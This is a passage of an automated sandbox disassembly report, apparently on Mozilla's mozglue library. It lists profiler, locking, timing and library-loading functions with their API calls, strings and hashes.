Opcode Fuzzy Hash: b30b253137647807e818e2f9c899fcc33e87688820aecd4cbbfa0e8c1ef13186
Instruction Fuzzy Hash: 318104716043009FD7109F65C8806AAB7A5EFCA308F50456EE44587B51EB319C4ACBAF

Function 6C6AEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6AEE60
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AEE6D
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C6AEEA5
CloseHandle.KERNEL32(?), ref: 6C6AEEB4
free.MOZGLUE(00000000), ref: 6C6AEEBB
GetCurrentThreadId.KERNEL32 ref: 6C6AEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AEECF

Part of subcall function 6C6ADE60: GetCurrentThreadId.KERNEL32 ref: 6C6ADE73
Part of subcall function 6C6ADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C674A68), ref: 6C6ADE7B
Part of subcall function 6C6ADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C674A68), ref: 6C6ADEB8
Part of subcall function 6C6ADE60: free.MOZGLUE(00000000,?,6C674A68), ref: 6C6ADEFE
Part of subcall function 6C6ADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C6ADF38

Part of subcall function 6C69CBE8: GetCurrentProcess.KERNEL32(?,6C6631A7), ref: 6C69CBF1
Part of subcall function 6C69CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6631A7), ref: 6C69CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6AEF1E
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AEF2B
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AEF59
GetCurrentThreadId.KERNEL32 ref: 6C6AEFB0
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AEFBD
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AEFE1
GetCurrentThreadId.KERNEL32 ref: 6C6AEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AF000

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C6AF02F

Part of subcall function 6C6AF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6AF09B
Part of subcall function 6C6AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C6AF0AC
Part of subcall function 6C6AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C6AF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C6AEED7
[I %d/%d] profiler_pause, xrefs: 6C6AF008

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 3c874676f6dbeac8d60795afd18a0b8c542eb8adfa61c8a2bcaffbd2885089fb
Instruction ID: c618563b74bc38b83da486a3e74e336e23dadc6245994e003acb102087ddce48
Opcode Fuzzy Hash: 3c874676f6dbeac8d60795afd18a0b8c542eb8adfa61c8a2bcaffbd2885089fb
Instruction Fuzzy Hash: 8751C031609210DFDB405BA6E4887A93BB4EF8F358F200567E91583B41DB764816CBAF

Function 6C675E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C675E9D

Part of subcall function 6C685B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6856EE,?,00000001), ref: 6C685B85
Part of subcall function 6C685B50: EnterCriticalSection.KERNEL32(6C6EF688,?,?,?,6C6856EE,?,00000001), ref: 6C685B90
Part of subcall function 6C685B50: LeaveCriticalSection.KERNEL32(6C6EF688,?,?,?,6C6856EE,?,00000001), ref: 6C685BD8
Part of subcall function 6C685B50: GetTickCount64.KERNEL32 ref: 6C685BE4

GetCurrentThreadId.KERNEL32 ref: 6C675EAB
GetCurrentThreadId.KERNEL32 ref: 6C675EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C675ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C676017

Part of subcall function 6C664310: moz_xmalloc.MOZGLUE(00000010,?,6C6642D2), ref: 6C66436A
Part of subcall function 6C664310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6642D2), ref: 6C664387

moz_xmalloc.MOZGLUE(00000004), ref: 6C675F47
GetCurrentProcess.KERNEL32 ref: 6C675F53
GetCurrentThread.KERNEL32 ref: 6C675F5C
GetCurrentProcess.KERNEL32 ref: 6C675F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C675F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C675F27

Part of subcall function 6C67CA10: mozalloc_abort.MOZGLUE(?), ref: 6C67CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6755E1), ref: 6C675E8C

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6755E1), ref: 6C67605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6755E1), ref: 6C6760CC

Strings

GeckoMain, xrefs: 6C675ECE, 6C676015

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 45bbc1bfe176439fea72543ce542ad7cac5ed414ddb68028112e3bf77ce48b2f
Instruction ID: 521e6f340eda11d86ada6688541aa711a8868d63d70eac0f2c72656f638c0bfd
Opcode Fuzzy Hash: 45bbc1bfe176439fea72543ce542ad7cac5ed414ddb68028112e3bf77ce48b2f
Instruction Fuzzy Hash: A471C1B05087409FD750DF29C480A6ABBF0BF8A304F14496EE58687B52D731E848CBAA

Function 6C679590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C663217
Part of subcall function 6C6631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C663236
Part of subcall function 6C6631C0: FreeLibrary.KERNEL32 ref: 6C66324B
Part of subcall function 6C6631C0: __Init_thread_footer.LIBCMT ref: 6C663260
Part of subcall function 6C6631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C66327F
Part of subcall function 6C6631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C66328E
Part of subcall function 6C6631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6632AB
Part of subcall function 6C6631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6632D1
Part of subcall function 6C6631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6632E5
Part of subcall function 6C6631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C679675
__Init_thread_footer.LIBCMT ref: 6C679697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C679707
__Init_thread_footer.LIBCMT ref: 6C67971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C679773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6797B7
FreeLibrary.KERNEL32 ref: 6C6797D0
FreeLibrary.KERNEL32 ref: 6C6797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C679824

Strings

NtMapViewOfSection, xrefs: 6C679701
ntdll.dll, xrefs: 6C6796E3
MapViewOfFileNuma2, xrefs: 6C6797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C679670

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 82cdb1cb26109c95d9e10c62e608160ee368c141c5db9412f27472d227cde6bc
Instruction ID: d67b806254d00921f617857c4fe57386da660e8a2c5ba4d20ec2d83456ea03d7
Opcode Fuzzy Hash: 82cdb1cb26109c95d9e10c62e608160ee368c141c5db9412f27472d227cde6bc
Instruction Fuzzy Hash: E561D5716083059BDF10CF6AF8D4B9A7BF1EB8E318F10492AE91587740D7749848CBAE

Function 6C6C6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6EF618), ref: 6C6C6694
GetThreadId.KERNEL32(?), ref: 6C6C66B1
GetCurrentThreadId.KERNEL32 ref: 6C6C66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6C66E1
EnterCriticalSection.KERNEL32(6C6EF618), ref: 6C6C6734
GetCurrentProcess.KERNEL32 ref: 6C6C673A
LeaveCriticalSection.KERNEL32(6C6EF618), ref: 6C6C676C
GetCurrentThread.KERNEL32 ref: 6C6C67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6C6868
RtlCaptureContext.NTDLL ref: 6C6C687F

Strings

WalkStack64, xrefs: 6C6C6890

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 213702acb628def79af030685deef1c9a5865497bf3bf0cac536cf63836b9883
Instruction ID: 7c80e3e474c51b6afbe9d2745a0c42c4653521684568d3a3c6f12306e4a65cd5
Opcode Fuzzy Hash: 213702acb628def79af030685deef1c9a5865497bf3bf0cac536cf63836b9883
Instruction Fuzzy Hash: C2518C71A09301AFDB11CF25C884AAABBF4FF89714F00492EF59997640D770E9198B9F

Function 6C6ADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6ADE73
GetCurrentThreadId.KERNEL32 ref: 6C6ADF7D
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6ADF8A
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6ADFC9
GetCurrentThreadId.KERNEL32 ref: 6C6ADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C674A68), ref: 6C6ADE7B

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

Part of subcall function 6C69CBE8: GetCurrentProcess.KERNEL32(?,6C6631A7), ref: 6C69CBF1
Part of subcall function 6C69CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6631A7), ref: 6C69CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C674A68), ref: 6C6ADEB8
free.MOZGLUE(00000000,?,6C674A68), ref: 6C6ADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C6ADF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C6AE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C6ADE83
<none>, xrefs: 6C6ADFD7

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 7cf127cb1e9b9340a93a16fae8ca327be65adaa90f69045ab3667e68f8f1cbbf
Instruction ID: 42001ccf0b3ca6693cc4d56154d1873dc2d590ec1da8ec3cb14a202c6093163e
Opcode Fuzzy Hash: 7cf127cb1e9b9340a93a16fae8ca327be65adaa90f69045ab3667e68f8f1cbbf
Instruction Fuzzy Hash: D241B1757092119BDB109BA6E8887AA7775EF8E30CF140016ED0597B42DB329D07CBAE

Function 6C6BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6BD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6BD52A
GetCurrentThreadId.KERNEL32 ref: 6C6BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6BD55F
free.MOZGLUE(00000000), ref: 6C6BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6BD652
GetCurrentThreadId.KERNEL32 ref: 6C6BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6BD6A2

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: abc40296e83ad1e03bfd9d4eaacd67f9a6bc71def72a9d4e4d7e6667176ae104
Instruction ID: ba5a7533aefc2e434d7a7bfd5d35a4c684cb580498adef1296ec80f5bb30b81e
Opcode Fuzzy Hash: abc40296e83ad1e03bfd9d4eaacd67f9a6bc71def72a9d4e4d7e6667176ae104
Instruction Fuzzy Hash: 01518E71608705DFC744CF35C884A9ABBF4FF89358F108A2EE95A97710EB30A855CB99

Function 6C685670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C685744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6857BC
GetTickCount64.KERNEL32 ref: 6C6858CB
EnterCriticalSection.KERNEL32(6C6EF688), ref: 6C6858F3
__aulldiv.LIBCMT ref: 6C685945
LeaveCriticalSection.KERNEL32(6C6EF688), ref: 6C6859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6EF638,?,?,?,?), ref: 6C6859E9

Strings

MOZ_APP_RESTART, xrefs: 6C6856CC

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: aa38edb6adae83c6bfc0a377ac53fb13afea60861b9fddd70f7ca27c06b0263e
Instruction ID: da27c9365c028354067b0de29d467a17fb5939389ff854d26fa02e84cf6ee2d1
Opcode Fuzzy Hash: aa38edb6adae83c6bfc0a377ac53fb13afea60861b9fddd70f7ca27c06b0263e
Instruction Fuzzy Hash: 46C19F31A0D7909FDB05CF29C48066ABBF1BFCA714F058A1EE4C597660D730A985CB9B

Function 6C6AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AEC8C

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

GetCurrentThreadId.KERNEL32 ref: 6C6AECA1
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C6AECC5
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C6AED19
CloseHandle.KERNEL32(?), ref: 6C6AED28
free.MOZGLUE(00000000), ref: 6C6AED2F
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C6AEC94

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8be1013b124763f54488827e7472a5bddeae7498276fc2e9862698c026202b32
Instruction ID: d0917b22d94a0a4a0556aaa7c82c18476853d2ef2e98e6d9df56e37a11632af3
Opcode Fuzzy Hash: 8be1013b124763f54488827e7472a5bddeae7498276fc2e9862698c026202b32
Instruction Fuzzy Hash: DC210771604204EFDB009FA5E848A9A3779EF8A36CF104212FD1587741DB319C178BAE

Function 6C6A8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C66EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C6AB392,?,?,00000001), ref: 6C6A91F4

Part of subcall function 6C69CBE8: GetCurrentProcess.KERNEL32(?,6C6631A7), ref: 6C69CBF1
Part of subcall function 6C69CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6631A7), ref: 6C69CBFA

Strings

timeline-ipc, xrefs: 6C6A9096
stack-chart, xrefs: 6C6A90B2
name, xrefs: 6C6A8F16
timeline-memory, xrefs: 6C6A9088
data, xrefs: 6C6A90E8
timeline-overview, xrefs: 6C6A907A
marker-table, xrefs: 6C6A906C
marker-chart, xrefs: 6C6A905E
timeline-fileio, xrefs: 6C6A90A4

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: d9222e7159c45a3d28eb3dc5b3240204f4a222572c6671ef33729025e088e725
Instruction ID: 69b5bcca41ce768c93a9876f9460d4254c5014c8fe40c2655a85cb57a1cd5400
Opcode Fuzzy Hash: d9222e7159c45a3d28eb3dc5b3240204f4a222572c6671ef33729025e088e725
Instruction Fuzzy Hash: 40B1C5B1A052099BDB04CF95C8917EEBBB5EF89318F204419D501ABF80D731AD46CBED

Function 6C68C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C68C5A3
WideCharToMultiByte.KERNEL32 ref: 6C68C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C68C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C68CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C68CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C68CAA5

